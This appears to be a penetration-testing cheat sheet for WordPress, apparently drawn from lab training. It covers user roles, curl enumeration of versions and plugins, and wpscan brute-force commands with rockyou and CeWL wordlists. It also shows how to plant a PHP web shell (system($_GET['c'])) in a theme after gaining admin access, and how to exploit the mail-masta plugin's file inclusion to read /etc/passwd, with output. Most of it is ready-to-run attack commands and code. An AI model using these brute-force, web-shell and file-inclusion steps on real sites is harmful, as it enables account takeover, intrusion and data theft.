WordPress

101

Directories

/wp-admin -> /wp-login.php

/wp-content/plugins/

/wp-content/themes/

Wordlists
Roles & Permissions

Administrator -> King 👑

Editor -> Post management + publish (for all users)

Author -> Post management + publish (owned posts)

Contributor -> Post management (owned posts)

Subscriber -> Browse posts, manage its own profile

Enumeration

# Version
curl -s example.com | grep '<meta name="generator"'

# Themes
curl -s example.com | grep themes

# Plugins
curl -s example.com | grep plugins

# Plugin version (requires Directory listing to be enabled)
curl -s example.com/wp-content/plugins/mail-masta/readme.txt | grep "Stable tag:"

Attacks

BFA

wp-login.php is the standard login form that accepts one login attempt per request. xmlrpc.php allows login via API calls and can bundle many attempts in one request, making brute-force faster. Even if wpscan outputs that XML-RPC is enabled, login-related methods may be blocked by plugins or server settings, so attacks through it can fail while wp-login attacks still work.

WPScan uses 2 kinds of BFA:

  1. xmlrpc → uses WP's API to BF (xmlrpc.php) (faster)

  2. wp-login → attempts to BF wp-login.php

# Enumerating users and brute-forcing
sudo wpscan --url example.com -e u --passwords password.lst

# Targeted BFA using xmlrpc
sudo wpscan --password-attack xmlrpc -t 20 --url http://example.com -U roger -P /usr/share/wordlists/rockyou

# Targeted BFA using wp-login
sudo wpscan --password-attack wp-login -t 20 --url http://example.com -U james -P cewl_tokens.txt

RCE

Modify an inactive theme (for avoiding breaking the site) by inserting a PHP web shell:

<?php system($_GET['c']); ?>
Step for RCE after gaining admin access.

Interact with the shell via CLI.

curl http://example.com/wp-content/themes/twentytwenty/404.php?c=id

The same exact method can be done with Plugins:

Vulnerabilities

No longer supported:

<?php 

include($_GET['pl']); # no validation/sanitization
global $wpdb;

$camp_id=$_POST['camp_id'];
$masta_reports = $wpdb->prefix . "masta_reports";
$count=$wpdb->get_results("SELECT count(*) co from  $masta_reports where camp_id=$camp_id and status=1");

echo $count[0]->co;

?>
$ curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...

Last updated

Was this helpful?